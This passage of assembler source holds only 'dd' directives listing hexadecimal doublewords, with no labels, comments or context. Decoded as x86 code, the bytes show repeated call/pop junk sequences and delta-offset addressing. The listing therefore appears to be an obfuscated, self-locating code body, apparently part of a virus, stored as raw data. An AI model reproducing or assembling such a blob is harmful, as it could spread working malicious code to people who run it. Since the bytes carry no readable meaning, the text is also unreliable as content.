		dd 90062908h, 0D7FBA7BBh, 5EBF5056h, 906DAEECh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h, 0A126678Ch
		dd 0FF64D266h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 89647809h, 25h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0D43FBC8h, 0FF401018h, 292A1585h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0FA4AFC2Fh
		dd 95BD03C4h, 6A062900h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0A1B5FF07h, 0E9062907h
		dd 0Ch,	0AB7D7B68h, 67BFA507h, 0D912563h, 275595FFh, 29E90629h
		dd 89000001h, 2919E5B5h, 6600B006h, 8928DB81h, 8E0F70E6h
		dd 2, 71E458B3h, 81858B60h, 56062918h, 27259D8Bh, 615B0629h
		dd 118C0Fh, 0CE90000h, 99000000h, 0D55FEDDAh, 46955D69h
		dd 3CDA1BF2h, 0E1830F61h, 89000000h, 2911198Dh,	0C8B60F06h
		dd 6A9BD31h, 6BA0629h, 8B000000h, 290FE9BDh, 0FC18B06h
		dd 1F8Eh, 13E800h, 3C860000h, 652915B9h, 50DA2A98h, 316CB4FDh
		dd 1818739h, 99858929h,	5B062909h, 5004E8C1h, 0F7665FF9h
		dd 819D8BE2h, 2B06290Dh, 858B60C8h, 6291FF9h, 26818D23h
		dd 8B610629h, 99BD89D1h, 0E9062930h, 74h, 8BDF8B66h, 554C5085h
		dd 4BC7BF47h, 0C083010Bh, 83DA8B07h, 0F38000C0h, 0FD03BBEh
		dd 0E83h, 4DE9F500h, 51000000h,	44D8589h, 8B5B0629h, 0FFFFFF8Dh
		dd 0FE9FFh, 5CE40000h, 6904A4ABh, 0D026640Eh, 6E7A7D18h
		dd 1E1839Ah, 22840Fh, 0B70F0000h, 0FFA583DFh, 0FEFFFFFFh
		dd 89FA8B66h, 554C5095h, 55BF6647h, 61BD8B85h, 0E9062913h
		dd 0
		dd 86EAB58Dh, 0BD8B062Dh, 6292361h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E8D98AC3h
		dd 5B9DD7ECh, 0BF0F4944h, 9195FFDFh, 6A062905h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E95C357h, 9D8B8D98h, 6290FA1h, 0F8B70F60h, 0B9615BB1h
		dd 1062h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	9EC35040h, 437879D1h, 0E1838238h, 57006AFCh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 25CFC9B0h, 0AD2E7F45h, 5890Fh, 81660000h, 0F71AFDBh
		dd 681h, 0C99D8B00h, 0FC06290Dh, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 15h, 8C35040h, 0D8BF0F1Eh, 0BAC02Bh
		dd 66000000h, 0E64CF381h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 1DC35141h
		dd 6810Fh, 9D8B0000h, 6291E71h,	13A5BD89h, 9D8B0629h, 6290D2Dh
		dd 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0BD8B5783h, 62909B5h, 6D958B5Fh
		dd 8B06291Eh, 290C85BDh, 818D8B06h, 6A06292Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 7FC7C352h, 504E9D30h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 2150EEB2h, 0E31E249Eh, 20199589h
		dd 0BD890629h, 62906E9h, 1331BD83h, 0F000629h, 7984h, 8D89F500h
		dd 6290FADh, 0B8h, 2BB6000h, 81096470h,	852DFBE1h, 8D8D613Ch
		dd 6294D6Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0C4C35343h, 4BEBB2EEh, 4A7FBDBBh, 88F0F50h, 53000000h
		dd 860Fh, 35B0000h, 2925DDBDh, 6AE1FF06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8D88C357h
		dd 0BD837B30h, 6292005h, 0A5840F00h, 0F000004h,	287h, 83F98B00h
		dd 292005BDh, 840F0106h, 4ABh, 30E19D8Bh, 0BD830629h, 6292005h
		dd 62860F03h, 51000004h, 12E9h,	6134E100h, 630B7343h, 75DC04A9h
		dd 26433ED3h, 5B86CEB5h, 0E19D0160h, 66062919h,	6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B2766C3h, 536F2A47h, 33399D8Bh, 0E1800629h,	0FFBF0F04h
		dd 840FC90Ah, 1D1h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 66C35141h, 6325A575h,	858B37E3h, 6291885h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E4C35343h
		dd 32B6EE40h, 14E9h, 0F585C000h, 892BED3h, 6F312A69h, 6BF5AD30h
		dd 0B1611256h, 0ED8533C5h, 6A06290Dh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 564AC352h
		dd 11E89013h, 75000000h, 26433ED3h, 4C86CEB5h, 0CC0F2077h
		dd 0C0D843D8h, 0BF665250h, 310FFA56h, 585A30B3h, 0BE9505Fh
		dd 7D000000h, 0BB79D298h, 6C8967C5h, 6A905DB4h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F84C355h, 81h, 6A006A00h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 99E4C355h, 0AA83CA19h
		dd 32BF1DE2h, 0E834C654h, 4, 1F03FFh, 10E9h, 0F920F100h
		dd 73CB3D0Ah, 0BD47E493h, 7A356C38h, 0DE8B50F6h, 424448Bh
		dd 13E860h, 5C490000h, 40982B1Eh, 0A524BB12h, 7F973D3Eh
		dd 0B3EFB340h, 0F52506Ch, 5E585A31h, 2840Fh, 58570000h
		dd 0BB008B61h, 1074217Dh, 4244489h, 0E8525056h,	12h, 0D41F8E14h
		dd 142F24B5h, 0BF8BF90h, 0F5F955B6h, 0F5B351Fh,	5AE7B731h
		dd 29585F58h, 2911D99Dh, 4D95FF06h, 81062900h, 61CBF6CBh
		dd 3810F5Dh, 66000000h,	8589F98Bh, 62CC096h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 32C35141h, 1CDE9h
		dd 6880F00h, 8B000000h,	293465BDh, 8E858B06h, 6A062CC0h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 1291C353h, 0BBF2FF22h, 71362D7Fh,	1800C7h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 19BAD9C3h, 5E288535h, 8BF9B70Fh, 2CC092B5h
		dd 0F19D8906h, 8B062907h, 292BC985h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0D37FA0E5h
		dd 14E9E8h, 320E0000h, 0B8B8F71Dh, 0BE668513h, 0B8B5C0CFh
		dd 83E58B66h, 8D896AAFh, 6290555h, 6A0689h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2890C7C3h
		dd 0E5914DA3h, 8B878261h, 29188585h, 0D8BF0F06h, 6A044689h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0E3AC356h, 96C1A277h, 8B50F98Bh, 8D8996FBh
		dd 62924B5h, 0C08EB5FFh, 6A062Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 269493C3h, 0FB32800h
		dd 0C88h, 6850F00h, 89000000h, 2905559Dh, 0C61F6806h, 48BFD784h
		dd 8126894Ah, 3DE02404h, 6A289Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 97F6F4C3h, 0C430D0CEh
		dd 0DF19D8Bh, 858D0629h, 62CC096h, 90FFBF0Fh, 0F4DCBF51h
		dd 505B0650h, 0B4648ABFh, 6A9031h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0F560EEC3h, 0F1C18166h
		dd 95FF61B2h, 629004Dh,	0B4C5C381h, 6A61428Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0ED57C351h, 8B6B429Ah, 585C7DAh, 3062920h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7673C357h, 0F741CCC6h, 164964Ch, 29164585h
		dd 96BD8306h, 62CC0h, 13840Fh, 0BB660000h, 25E92A80h, 57000000h
		dd 25BD8B52h, 5F062918h, 0C30505Bh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D4C35343h, 0F30223DDh, 0A7C30E0Eh, 6AD98B8Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0D601C355h, 5BD8BAFh, 60062901h, 159D2952h
		dd 5F06292Bh, 0E0CF35BBh, 0BD83611Bh, 6292005h,	54850F03h
		dd 0E9000004h, 13h, 0C685B336h,	59AA2891h, 0EC0B9E1Eh
		dd 5417B308h, 836D6D33h, 2CC096BDh, 840F0006h, 42Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7EC35747h, 38BCB610h
		dd 0FF37F780h, 2CC096B5h, 18890F06h, 0E8000000h
		dd 0Dh,	3B80E621h, 0A99C518Dh, 53C6D74Fh, 0EC7CBB30h, 0FF5B6D5Dh
		dd 290E7995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C9B52937h, 8B062925h, 2CC08AB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F88465ADh, 106C7h, 6A0001h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0AA53E0C3h
		dd 95BFA3D2h, 0ADBD29A0h, 0BF062912h, 72D97F71h, 10E950h
		dd 81E0000h, 0D5D21C05h, 0FB7166CEh, 0B1F5D3BAh, 3489C431h
		dd 0F98B6624h, 0C096B5FFh, 0FE9062Ch, 4D000000h, 16666D02h
		dd 0D833D1B8h, 0FE31EB50h, 9D29BC5Fh, 6291F45h,	72195FFh
		dd 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0A76E31C3h, 3EA4D530h, 0DBBB662Eh, 8AB58B53h
		dd 6A062CC0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 663BC351h, 9D238D84h, 6293139h
		dd 850Fh, 9D8B0000h, 629135Dh, 2479858Bh, 86890629h, 0C4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 57C35646h
		dd 6D958BA2h, 0E906291Eh, 0Ch, 792E935Dh, 0C2BAA86Fh, 0FCEB6D19h
		dd 11E9h, 0F40AC600h, 0F133383Ah, 0B7583948h, 402F90A4h
		dd 0C2839883h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0D0E92C54h, 42497C45h
		dd 6D9531F8h, 8B062928h, 293171BDh, 5089F806h, 52006A20h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 8B8131E4h, 9E905DEh,	8D000000h, 4199FCB4h, 1233C33Ah
		dd 0D465858Dh, 8689062Ch, 0B8h,	1115B529h, 6A0629h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DCC35646h, 0BD8B1EA7h
		dd 6291825h, 0C096B5FFh, 6A062Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 68BDF7C3h, 1D858950h
		dd 5B062929h, 95FFB8B3h, 6293031h, 2A718D89h, 8B960629h
		dd 63BB50FEh, 9615BC4Dh, 0AF3D41BBh, 96B5FF2Ch,	6A062CC0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 7175C356h, 5D79DCA8h, 0E7816625h,	95FF5934h
		dd 6292F95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	5FC35646h, 9D8B73DAh, 6291E21h,	11A9BD83h, 0F000629h
		dd 3084h, 61BD8B00h, 5006292Fh,	3489FB8Bh, 57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 61FF03Eh, 925B631Dh,	96B5FF63h, 6A062CC0h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FB0C350h, 38Fh, 0D98B6600h,	2D3595FFh, 0FA8A0629h
		dd 0C096B5FFh, 9589062Ch, 6292AADh, 6830Fh, 9D8B0000h
		dd 62904E1h, 60595FFh, 0BB660629h, 0BD83FB0Bh, 6290ABDh
		dd 84840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 791EC357h, 0FEB70FFFh
		dd 1829858Bh, 6A0629h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 501008C3h, 0FD623393h, 0FE91Eh
		dd 0B4910000h, 4C2E9CE0h, 6A42139Fh, 8EADAB33h,	0C6D6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 98C35747h
		dd 6687527Ch, 0C797F3BBh, 29065D85h, 6,	4D9D8900h, 0E9062920h
		dd 0FFFFF293h, 0BDC78166h, 6AC18B6Ch, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 73B5C357h
		dd 0FF45A5D5h, 1425858Dh, 6A0629h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0A93604C3h, 6A2BA051h
		dd 90AA8282h, 0BE8h, 0A46D0800h, 0DEE5EC96h, 3D8926BFh
		dd 505F9DB7h, 6AF990h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0B9C35141h, 7159763h,	153F01FFh, 6ADF8BF5h
		dd 97B1BB00h, 858D03A7h, 62E161Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 94C35545h, 67DBB795h, 8B05C083h
		dd 2934ED9Dh, 52505006h, 310F5250h, 8E0Fh, 585A0000h, 585A310Fh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FBCC355h, 48Ch, 1FBF6600h, 6A006A2Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 8DE1C352h, 7FF8D30Fh, 5075623Bh, 0A5DB8166h
		dd 6A5FDCh, 8E9h, 0FCF5300h, 854AC905h,	0ED95FF37h, 2906290Ch
		dd 2932C195h, 88D8D06h,	6A062C98h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 9F53C356h
		dd 6800Fh, 0BD8B0000h, 62929B9h, 6AD1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0B616ACC3h
		dd 4340EF6Ah, 0BF66BE80h, 0BD8312B0h, 6291A29h,	0A4850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 5477C355h, 0E45DDE53h,	0D9BF0F99h
		dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 93010BC3h, 89A09C12h, 291AA58Dh, 34BB9006h
		dd 506640C2h, 58B0Fh, 0FEBB0000h, 905D171Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A8C35747h, 0EE80Eh
		dd 0C2520000h, 3AD5EC1h, 0EBBBF7C6h, 8C34A6B2h,	17619D8Bh
		dd 0FF5B0629h, 29303195h, 5D9D0106h, 0E9062912h, 0E26h
		dd 0E8h, 0ED815D00h, 62E1625h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0EBC35747h,	0FC9D4C14h, 315D8589h
		dd 81660629h, 8D65E3E7h, 2C91B085h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 50B8BF50h
		dd 489DD8Ah, 64DC8A24h,	35FFh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0AB538FC3h
		dd 0D9A6418Dh, 0AE9h, 0F2C95D00h, 3FD16C54h, 66A967A5h
		dd 64DD6DBBh, 2589h, 11E90000h,	66000000h, 1F22F2B7h, 6DA5ED58h
		dd 0ADC017FFh, 0A92F2F05h, 2A1585FFh, 6A0629h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 62301C3h, 78BB6659h,	6AFF6A8Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 78B7C352h
		dd 71DE9F61h, 0E5B5FF43h, 53062900h, 8E8h, 96A7E400h, 191AB31Dh
		dd 999D8BD5h, 5B062910h, 5595FF5Bh, 0E9062927h,	0FDh, 0F3816651h
		dd 0B05B0528h, 16DB8100h, 8B14E67Dh, 2924E19Dh,	8B70E606h
		dd 291B29BDh, 0B771E406h, 4AD380AFh, 830F613Ch,	0D1h, 8BC8B60Fh
		dd 291A119Dh, 6BA06h, 0CE90000h, 0D2000000h, 7A9A47Eh
		dd 9D37EEC3h, 8BE106FBh, 0FABF0FC1h, 2904E8C1h,	291A6DBDh
		dd 0E2F76606h, 18A0Fh, 2BF80000h, 1D18BC8h, 292E358Dh
		dd 8BE906h
		dd 0FE8B0000h, 4E49858Bh, 0FB8B4400h, 0F07C083h, 684h
		dd 75B50900h, 83062905h, 9D8900C0h, 6290AB9h, 830FD03Bh
		dd 19h,	12658D89h, 56E90629h, 60000000h, 0FC1B58Bh, 8D890629h
		dd 6290EA5h, 0FF8D8B61h, 8BFFFFFFh, 291EFD9Dh, 1E18306h
		dd 33840Fh, 81660000h, 839040CFh, 0FFFFFFA5h, 9589FEFFh
		dd 44004E49h, 9E8h, 93804E00h, 57B7B163h, 29507EF0h, 2910B985h
		dd 665B5B06h, 0C243EF81h, 0E9h,	4CB58D00h, 6A062D97h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 3D81C356h, 4EC1D270h, 6A01B3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 7EC35040h, 0FFFA8B66h, 29059195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 302468FAh, 99DB41C8h, 1113B9E6h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 65829FC3h, 839EA363h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0CE0582C3h, 0FC21CED6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0FCC35747h
		dd 0E7817C1Bh, 4E541697h, 0B8h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8842B903h
		dd 0C98D31C8h, 2B06290Ah, 53006AD2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0E148C963h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0AAC35545h,	8B40300Ch, 29085D9Dh
		dd 0F8BF0F06h, 0DFE8B66h, 88h, 12E8h, 1EBCDC00h, 0FD023D8Bh
		dd 0B569BD7Eh, 89605027h, 8B27E5A7h, 2931ADBDh,	958B5B06h
		dd 6291E6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	19C35141h, 34F8C2D3h, 0E396B2BBh, 5BD2B20h, 8B062934h
		dd 292D818Dh, 8D89F806h, 6290081h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 8C7609C3h, 4AE780EEh
		dd 1331BD83h, 0F000629h, 6484h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E181674Dh
		dd 0B88DD0h, 89000000h,	291609B5h, 6B8D8D06h, 6A06294Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B139C351h, 830FDF8Dh, 6,	0E35B509h, 0E1FF0629h
		dd 5CEB8166h, 5BD83D7h,	62920h,	4C7840Fh, 11E90000h, 0D4000000h
		dd 5CE4CAB0h, 6904A4ABh, 0D026640Eh, 6E7A7D18h,	2005BD83h
		dd 0F010629h, 4BF84h, 5BD8300h,	3062920h, 47C860Fh, 0F7800000h
		dd 0CD9D89D0h, 6006290Fh, 59EB8166h, 0D8D89E6h,	66062911h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0D71F07C3h, 0D97FE656h, 0ADBD33CBh, 80062908h
		dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0BF1BDFC3h, 16C809A3h, 840FC90Ah,	184h, 8BDBB70Fh
		dd 2928B99Dh, 85858B06h, 31062918h, 291831B5h, 0ED853306h
		dd 6A06290Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 20CDC350h, 57E78C45h, 0BF665660h
		dd 6690FFCFh, 50AD4FBBh, 742EBF66h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0E678A66Eh
		dd 11E939h, 0A18A0000h,	0B46EAC22h, 8D905287h, 9B4B14C8h
		dd 6A15A2C3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9D8BCA7Ah, 6290A85h, 4E8h, 1F03FF00h
		dd 7E900h, 1A820000h, 6179D872h, 50B7504Eh, 424448Bh, 6E8h
		dd 85EC3600h, 668A1479h, 8B5BFB8Bh, 7E800h, 5D0000h, 70212AF9h
		dd 69BE6016h, 60624B06h, 895B6161h, 52042444h, 0CBBB6651h
		dd 585F5BB1h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	7EC35343h, 0D4E54244h, 0BD8BA2DBh, 62906E1h, 4D95FFh
		dd 1600629h, 290101BDh,	0CE816606h, 8961AF7Fh, 2CC09685h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 5592ED1Fh, 502827FDh, 0E9F98B66h, 205h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0EEC35040h
		dd 0FAB70F11h, 0C08E858Bh, 12E9062Ch, 92000000h, 0CFBD9CA5h
		dd 554E2349h, 0A34FB501h, 50342A6Ah, 1800C7B7h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 4546C352h, 323AD652h, 0D9D78191h,	8B0BB7F6h
		dd 2CC092B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8166BE75h, 8B2B58D3h, 292BC985h
		dd 89FA8B06h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0ADE767Bh, 0D54497FCh, 858B7BC0h
		dd 6291885h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	2DC35040h, 0AF79EEh, 0BBB9301Bh, 2CB94B07h, 66044689h
		dd 6096D98Bh, 86BE6650h, 14E859A7h, 96000000h, 1D1BCB85h
		dd 0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh, 0E94E014Ch, 11h
		dd 8DEFED6Ah, 718F643Dh, 5E6C2BA2h, 665FE892h, 50615AB0h
		dd 0EBDD0FBFh, 9D8B9672h, 6291DC1h, 0C08EB5FFh,	6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 2D994C3h, 262D9589h,	6D680629h, 8BE68323h, 240481D8h
		dd 199BE092h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	5BC35646h, 0DF8355A0h, 1EF40E79h, 85B589F3h, 8D06291Fh
		dd 2CC09685h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 420C7C32h, 98B5205Dh, 6E96090h, 29000000h
		dd 2D186079h, 665061DBh, 90AC32BFh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0DFC35343h,	3046F3DAh, 95FFBABAh
		dd 629004Dh, 0AE961F5h,	40000000h, 7BD7EAF9h, 0E93644E2h
		dd 585C74Ah, 3062920h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9787C357h
		dd 10E9DE8Bh, 3A000000h, 7DC95E45h, 0DCABF4E1h,	0CE605F12h
		dd 8309254Bh, 2CC096BDh, 840F0006h, 4Ah, 11E8h,	91E84400h
		dd 7B8CF9FAh, 5F668441h, 17213B54h, 0CF815F02h,	5656A2FEh
		dd 43E95Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B589E8C3h, 629181Dh, 0F899529h
		dd 30500629h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 523D5B14h, 55006A7Eh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 530D148Ah
		dd 27DD8501h, 0BD830629h, 6292005h, 0E850F03h, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 2E7C355h,	0C096BD83h, 0F00062Ch, 3E484h
		dd 8B66F500h, 96B5FFDFh, 80062CC0h, 95FF08C7h, 6290E79h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0E7C35747h
		dd 37E01506h, 0FF6E66Fh, 581h, 0E7816600h, 81661436h, 8BD67FCFh
		dd 2CC08AB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0C3D3088Ch, 0C18589DAh, 0C7062900h
		dd 1000106h, 51006A00h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0B94DBB41h, 0C9122A4h, 0BF669641h
		dd 56509F53h, 5E8h, 162CF00h, 6160A684h, 0F965F5Fh, 680h
		dd 93F38100h, 0FF63AE29h, 2CC096B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 4A26AE69h
		dd 0DE2805CCh, 5DBD2904h, 0FF062934h, 29072195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 39D00D6Bh, 81CBFB10h, 0DE89Dh, 0B3E20000h, 7A261E71h
		dd 5FA90CF9h, 0FE50A31h, 685h, 840F00h,	5B000000h, 0C08AB58Bh
		dd 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 190FB3C3h, 0D70B1730h, 8BD98B66h,	79858BDEh
		dd 89062924h, 0C486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 2748DF0Ch, 9D8BED4Dh
		dd 6290F09h, 1E6D958Bh,	0BD8B0629h, 62914D1h, 2411B589h
		dd 0C2830629h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 5AAF332Eh, 7E9h, 608DB800h
		dd 86B8D52Ch, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0C728C356h,	667BA7EFh
